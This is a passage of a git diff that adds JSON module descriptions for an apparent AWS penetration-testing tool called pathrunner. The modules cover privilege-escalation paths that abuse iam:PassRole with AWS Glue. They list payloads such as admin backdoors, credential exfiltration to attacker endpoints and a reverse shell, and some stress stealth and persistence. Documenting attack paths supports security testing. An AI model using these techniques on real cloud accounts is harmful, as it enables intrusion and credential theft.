+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "gamelift-001",
+  "gifs": [
+    {
+      "name": "gamelift-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/glue-001.json b/docs/pathrunner/data/modules/glue-001.json
new file mode 100644
index 00000000..d6325974
--- /dev/null
+++ b/docs/pathrunner/data/modules/glue-001.json
@@ -0,0 +1,130 @@
+{
+  "id": "glue-001",
+  "name": "iam:PassRole + glue:CreateDevEndpoint",
+  "description": "Create a Glue development endpoint with a privileged IAM role and gain SSH access to execute code with that role's permissions",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "glue"
+  ],
+  "primaryService": "glue",
+  "aliases": [
+    "glue-passrole-devendpoint",
+    "exploit/glue_passrole_devendpoint"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/glue-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must be in the Resource section"
+      },
+      {
+        "permission": "glue:CreateDevEndpoint"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "glue:GetDevEndpoint",
+        "description": "Poll endpoint status and retrieve the public SSH address"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles to pass to Glue"
+      },
+      {
+        "permission": "glue:DeleteDevEndpoint",
+        "description": "Clean up the created endpoint"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts glue.amazonaws.com to assume it",
+      "The role must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "A role must exist that trusts glue.amazonaws.com to assume it"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - glue-001",
+      "url": "https://pathfinding.cloud/paths/glue-001"
+    },
+    {
+      "title": "Well, That Escalated Quickly: How Abusing AWS API Can Lead to Admin Access",
+      "url": "https://know.bishopfox.com/research/privilege-escalation-in-aws"
+    },
+    {
+      "title": "HackingTheCloud - PassRole + Glue CreateDevEndpoint Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatedevendpoint"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "IAM role ARN to pass to the Glue dev endpoint (must trust glue.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "SSH_PUBLIC_KEY",
+      "description": "SSH public key to authorize on the endpoint (OpenSSH authorized_keys format). Auto-detected from ~/.ssh/id_ed25519.pub or ~/.ssh/id_rsa.pub if not set.",
+      "required": false
+    },
+    {
+      "name": "ENDPOINT_NAME",
+      "description": "Name for the Glue dev endpoint",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "GLUE_VERSION",
+      "description": "Glue version for the dev endpoint",
+      "required": false,
+      "default": "1.0"
+    },
+    {
+      "name": "NUMBER_OF_NODES",
+      "description": "Number of Glue Data Processing Units (DPUs) to allocate",
+      "required": false,
+      "default": "2"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for the dev endpoint",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the dev endpoint after printing connection details. Defaults to false because dev endpoints bill by the hour (~$2.20/hr) and operators typically want SSH access after this module runs.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use glue-001",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "glue-001",
+  "gifs": [
+    {
+      "name": "glue-001",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/glue-003.json b/docs/pathrunner/data/modules/glue-003.json
new file mode 100644
index 00000000..409dac54
--- /dev/null
+++ b/docs/pathrunner/data/modules/glue-003.json
@@ -0,0 +1,228 @@
+{
+  "id": "glue-003",
+  "name": "iam:PassRole + glue:CreateJob + glue:StartJobRun",
+  "description": "Create a Glue Python Shell job with a privileged role, run it to execute code with the role's permissions",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "glue"
+  ],
+  "primaryService": "glue",
+  "aliases": [
+    "glue-passrole-job",
+    "exploit/glue_passrole_job"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/glue-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN"
+      },
+      {
+        "permission": "glue:CreateJob"
+      },
+      {
+        "permission": "glue:StartJobRun"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "glue:GetJobRun",
+        "description": "Monitor job execution status"
+      },
+      {
+        "permission": "glue:GetJob",
+        "description": "Verify job configuration"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role with desired permissions and trust policy allowing glue.amazonaws.com"
+    ],
+    "lateral": [
+      "Principal with iam:PassRole, glue:CreateJob, glue:StartJobRun",
+      "S3 bucket accessible to the victim account containing the Glue script (attacker account auto-provisions this)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - glue-003",
+      "url": "https://pathfinding.cloud/paths/glue-003"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the Glue job",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, backdoor/create-user, backdoor/create-access-key, exfil/cloudwatch)",
+      "required": true
+    },
+    {
+      "name": "SCRIPT_S3_URI",
+      "description": "S3 URI of the Glue script (e.g., s3://bucket/script.py). Auto-provisioned if attacker identity is set.",
+      "required": false
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Glue job deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "JOB_NAME",
+      "description": "Glue job name",
+      "required": false,
+      "mockValue": "target-glue-job"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Clean up created resources after execution",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role via Glue job",
+      "slug": "glue-backdoor-attach-policy",
+      "qualifiedName": "glue:backdoor/attach-policy",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user via Glue job",
+      "slug": "glue-backdoor-create-access-key",
+      "qualifiedName": "glue:backdoor/create-access-key",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy via Glue job",
+      "slug": "glue-backdoor-create-role",
+      "qualifiedName": "glue:backdoor/create-role",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and access keys via Glue job",
+      "slug": "glue-backdoor-create-user",
+      "qualifiedName": "glue:backdoor/create-user",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal via Glue job",
+      "slug": "glue-backdoor-update-role-trust",
+      "qualifiedName": "glue:backdoor/update-role-trust",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/cloudwatch",
+      "description": "Extract execution role credentials and print to CloudWatch Logs via Glue job",
+      "slug": "glue-exfil-cloudwatch",
+      "qualifiedName": "glue:exfil/cloudwatch",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled HTTPS endpoint via Glue job",
+      "slug": "glue-exfil-https",
+      "qualifiedName": "glue:exfil/https",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled S3 bucket via Glue job",
+      "slug": "glue-exfil-s3",
+      "qualifiedName": "glue:exfil/s3",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell to the attacker listener's shell port via Glue job",
+      "slug": "glue-revshell-tls",
+      "qualifiedName": "glue:revshell/tls",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use glue-003",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "glue-003",
+  "gifs": [
+    {
+      "name": "glue-003",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/glue-004.json b/docs/pathrunner/data/modules/glue-004.json
new file mode 100644
index 00000000..6505be6f
--- /dev/null
+++ b/docs/pathrunner/data/modules/glue-004.json
@@ -0,0 +1,253 @@
+{
+  "id": "glue-004",
+  "name": "iam:PassRole + glue:CreateJob + glue:CreateTrigger",
+  "description": "Create a Glue Python Shell job with a privileged role, then create a scheduled trigger with --start-on-creation to execute the job automatically. Unlike glue:StartJobRun, this approach establishes a persistent scheduled backdoor: the trigger fires every minute and re-executes the payload even after manual remediation attempts.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "glue"
+  ],
+  "primaryService": "glue",
+  "aliases": [
+    "glue-passrole-job-createtrigger",
+    "exploit/glue_passrole_job_createtrigger"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/glue-004",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass a role to glue.amazonaws.com"
+      },
+      {
+        "permission": "glue:CreateJob"
+      },
+      {
+        "permission": "glue:CreateTrigger",
+        "description": "Create trigger with --start-on-creation flag"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "glue:GetJob",
+        "description": "Retrieve job details and verify configuration"
+      },
+      {
+        "permission": "glue:GetTrigger",
+        "description": "Monitor trigger state and activation status"
+      },
+      {
+        "permission": "glue:GetJobRun",
+        "description": "Monitor job execution details"
+      },
+      {
+        "permission": "glue:GetJobRuns",
+        "description": "List job runs to track execution history"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role with administrative permissions and trust policy allowing glue.amazonaws.com"
+    ],
+    "lateral": [
+      "Principal with iam:PassRole, glue:CreateJob, glue:CreateTrigger",
+      "S3 bucket accessible to the victim account containing the Glue script (attacker account auto-provisions this)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - glue-004",
+      "url": "https://pathfinding.cloud/paths/glue-004"
+    },
+    {
+      "title": "HackTricks - AWS Glue Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/index.html"
+    },
+    {
+      "title": "Rhino Security Labs - CloudGoat Glue privesc Walkthrough",
+      "url": "https://rhinosecuritylabs.com/cloud-security/cloudgoat-walkthrough-glue_privesc/"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1053 - Scheduled Task/Job"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the Glue job (must trust glue.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, backdoor/create-user, backdoor/create-access-key, exfil/cloudwatch)",
+      "required": true
+    },
+    {
+      "name": "SCRIPT_S3_URI",
+      "description": "S3 URI of the Glue script (e.g., s3://bucket/script.py). Auto-provisioned if attacker identity is set.",
+      "required": false
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Glue job and trigger deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "JOB_NAME",
+      "description": "Glue job name (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-glue-job"
+    },
+    {
+      "name": "TRIGGER_NAME",
+      "description": "Glue trigger name (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Stop and delete the trigger and job after the first run completes",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role via Glue job",
+      "slug": "glue-backdoor-attach-policy",
+      "qualifiedName": "glue:backdoor/attach-policy",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user via Glue job",
+      "slug": "glue-backdoor-create-access-key",
+      "qualifiedName": "glue:backdoor/create-access-key",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy via Glue job",
+      "slug": "glue-backdoor-create-role",
+      "qualifiedName": "glue:backdoor/create-role",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and access keys via Glue job",
+      "slug": "glue-backdoor-create-user",
+      "qualifiedName": "glue:backdoor/create-user",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal via Glue job",
+      "slug": "glue-backdoor-update-role-trust",
+      "qualifiedName": "glue:backdoor/update-role-trust",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/cloudwatch",
+      "description": "Extract execution role credentials and print to CloudWatch Logs via Glue job",
+      "slug": "glue-exfil-cloudwatch",
+      "qualifiedName": "glue:exfil/cloudwatch",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled HTTPS endpoint via Glue job",
+      "slug": "glue-exfil-https",
+      "qualifiedName": "glue:exfil/https",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled S3 bucket via Glue job",
+      "slug": "glue-exfil-s3",
+      "qualifiedName": "glue:exfil/s3",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell to the attacker listener's shell port via Glue job",
+      "slug": "glue-revshell-tls",
+      "qualifiedName": "glue:revshell/tls",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use glue-004",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "glue-004",
+  "gifs": [
+    {
+      "name": "glue-004",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/glue-005.json b/docs/pathrunner/data/modules/glue-005.json
new file mode 100644
index 00000000..b4726097
--- /dev/null
+++ b/docs/pathrunner/data/modules/glue-005.json
@@ -0,0 +1,256 @@
+{
+  "id": "glue-005",
+  "name": "iam:PassRole + glue:UpdateJob + glue:StartJobRun",
+  "description": "Modify an existing Glue job to use a privileged role and a malicious script, then execute it to run code with the role's permissions. Stealthier than creating a new job because it blends with normal ETL maintenance activity.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "glue"
+  ],
+  "primaryService": "glue",
+  "aliases": [
+    "glue-updatejob-startjobrun",
+    "exploit/glue_updatejob_startjobrun"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/glue-005",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass a role to glue.amazonaws.com"
+      },
+      {
+        "permission": "glue:UpdateJob",
+        "description": "Must be able to update existing Glue job configurations"
+      },
+      {
+        "permission": "glue:StartJobRun",
+        "description": "Must be able to start Glue job runs"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "glue:GetJob",
+        "description": "Helpful for retrieving current job configuration before modification"
+      },
+      {
+        "permission": "glue:ListJobs",
+        "description": "Useful for discovering existing Glue jobs that can be modified"
+      },
+      {
+        "permission": "glue:GetJobRun",
+        "description": "Helpful for monitoring job execution details"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Helpful for discovering available privileged roles to pass"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An existing Glue job must be present in the environment that can be modified",
+      "A role must exist that trusts glue.amazonaws.com and has administrative permissions"
+    ],
+    "lateral": [
+      "An existing Glue job must be present in the environment that can be modified",
+      "A role must exist that trusts glue.amazonaws.com with the desired permissions"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - glue-005",
+      "url": "https://pathfinding.cloud/paths/glue-005"
+    },
+    {
+      "title": "HackTricks - AWS Glue Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/"
+    },
+    {
+      "title": "Rhino Security Labs - AWS IAM Privilege Escalation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    }
+  ],
+  "relatedPaths": [
+    "glue-001",
+    "glue-002",
+    "glue-003",
+    "glue-004",
+    "glue-006"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1565.001 - Data Manipulation: Stored Data Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "JOB_NAME",
+      "description": "Name of the existing Glue job to modify",
+      "required": true,
+      "mockValue": "target-glue-job"
+    },
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the Glue job (must trust glue.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, backdoor/create-user, backdoor/create-access-key, exfil/cloudwatch)",
+      "required": true
+    },
+    {
+      "name": "SCRIPT_S3_URI",
+      "description": "S3 URI of the Glue script (e.g., s3://bucket/script.py). Auto-provisioned if attacker identity is set.",
+      "required": false
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for the Glue job",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Restore the original job configuration (role and script) after execution",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role via Glue job",
+      "slug": "glue-backdoor-attach-policy",
+      "qualifiedName": "glue:backdoor/attach-policy",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user via Glue job",
+      "slug": "glue-backdoor-create-access-key",
+      "qualifiedName": "glue:backdoor/create-access-key",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy via Glue job",
+      "slug": "glue-backdoor-create-role",
+      "qualifiedName": "glue:backdoor/create-role",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and access keys via Glue job",
+      "slug": "glue-backdoor-create-user",
+      "qualifiedName": "glue:backdoor/create-user",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal via Glue job",
+      "slug": "glue-backdoor-update-role-trust",
+      "qualifiedName": "glue:backdoor/update-role-trust",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/cloudwatch",
+      "description": "Extract execution role credentials and print to CloudWatch Logs via Glue job",
+      "slug": "glue-exfil-cloudwatch",
+      "qualifiedName": "glue:exfil/cloudwatch",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled HTTPS endpoint via Glue job",
+      "slug": "glue-exfil-https",
+      "qualifiedName": "glue:exfil/https",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled S3 bucket via Glue job",
+      "slug": "glue-exfil-s3",
+      "qualifiedName": "glue:exfil/s3",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell to the attacker listener's shell port via Glue job",
+      "slug": "glue-revshell-tls",
+      "qualifiedName": "glue:revshell/tls",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use glue-005",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set JOB_NAME target-glue-job",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "glue-005",
+  "gifs": [
+    {
+      "name": "glue-005",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/glue-006.json b/docs/pathrunner/data/modules/glue-006.json
new file mode 100644
index 00000000..a8d4c957
--- /dev/null
+++ b/docs/pathrunner/data/modules/glue-006.json
@@ -0,0 +1,266 @@
+{
+  "id": "glue-006",
+  "name": "iam:PassRole + glue:UpdateJob + glue:CreateTrigger",
+  "description": "Update an existing Glue job to use a privileged role and malicious script, then create a scheduled trigger with --start-on-creation to execute the job automatically. Unlike glue:CreateJob which creates new resources, this path modifies existing infrastructure for stealth, and the scheduled trigger provides persistence \u2014 it re-executes the job every minute, re-granting access even after manual remediation attempts.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "glue"
+  ],
+  "primaryService": "glue",
+  "aliases": [
+    "glue-updatejob-createtrigger",
+    "exploit/glue_updatejob_createtrigger"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/glue-006",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass a role to glue.amazonaws.com"
+      },
+      {
+        "permission": "glue:UpdateJob",
+        "description": "Must be able to update existing Glue job configurations"
+      },
+      {
+        "permission": "glue:CreateTrigger",
+        "description": "Must be able to create Glue triggers with --start-on-creation flag"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "glue:GetJob",
+        "description": "Retrieve current job configuration before modification"
+      },
+      {
+        "permission": "glue:ListJobs",
+        "description": "Discover existing Glue jobs that can be modified"
+      },
+      {
+        "permission": "glue:GetTrigger",
+        "description": "Monitor trigger state and activation status"
+      },
+      {
+        "permission": "glue:GetJobRun",
+        "description": "Monitor job execution details"
+      },
+      {
+        "permission": "glue:GetJobRuns",
+        "description": "List job runs to track execution history"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available privileged roles to pass"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An existing Glue job must be present in the environment that can be modified",
+      "IAM role with administrative permissions and trust policy allowing glue.amazonaws.com"
+    ],
+    "lateral": [
+      "Principal with iam:PassRole, glue:UpdateJob, glue:CreateTrigger",
+      "An existing Glue job that can be modified",
+      "S3 bucket accessible to the victim account containing the Glue script (attacker account auto-provisions this)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - glue-006",
+      "url": "https://pathfinding.cloud/paths/glue-006"
+    },
+    {
+      "title": "HackTricks - AWS Glue Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/index.html"
+    },
+    {
+      "title": "Rhino Security Labs - CloudGoat Glue privesc Walkthrough",
+      "url": "https://rhinosecuritylabs.com/cloud-security/cloudgoat-walkthrough-glue_privesc/"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1053 - Scheduled Task/Job",
+      "T1565.001 - Data Manipulation: Stored Data Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to the Glue job (must trust glue.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "JOB_NAME",
+      "description": "Name of the existing Glue job to update (required; use 'discover JOB_NAME' to list available jobs)",
+      "required": true,
+      "mockValue": "target-glue-job"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, backdoor/create-user, backdoor/create-access-key, exfil/cloudwatch)",
+      "required": true
+    },
+    {
+      "name": "SCRIPT_S3_URI",
+      "description": "S3 URI of the Glue script (e.g., s3://bucket/script.py). Auto-provisioned if attacker identity is set.",
+      "required": false
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Glue job and trigger operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "TRIGGER_NAME",
+      "description": "Glue trigger name (auto-generated if empty)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Stop and delete the trigger and restore the job to its original configuration after the first run completes",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role via Glue job",
+      "slug": "glue-backdoor-attach-policy",
+      "qualifiedName": "glue:backdoor/attach-policy",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user via Glue job",
+      "slug": "glue-backdoor-create-access-key",
+      "qualifiedName": "glue:backdoor/create-access-key",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy via Glue job",
+      "slug": "glue-backdoor-create-role",
+      "qualifiedName": "glue:backdoor/create-role",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and access keys via Glue job",
+      "slug": "glue-backdoor-create-user",
+      "qualifiedName": "glue:backdoor/create-user",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal via Glue job",
+      "slug": "glue-backdoor-update-role-trust",
+      "qualifiedName": "glue:backdoor/update-role-trust",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/cloudwatch",
+      "description": "Extract execution role credentials and print to CloudWatch Logs via Glue job",
+      "slug": "glue-exfil-cloudwatch",
+      "qualifiedName": "glue:exfil/cloudwatch",
+      "service": "glue",
+      "tags": [
+        "glue",
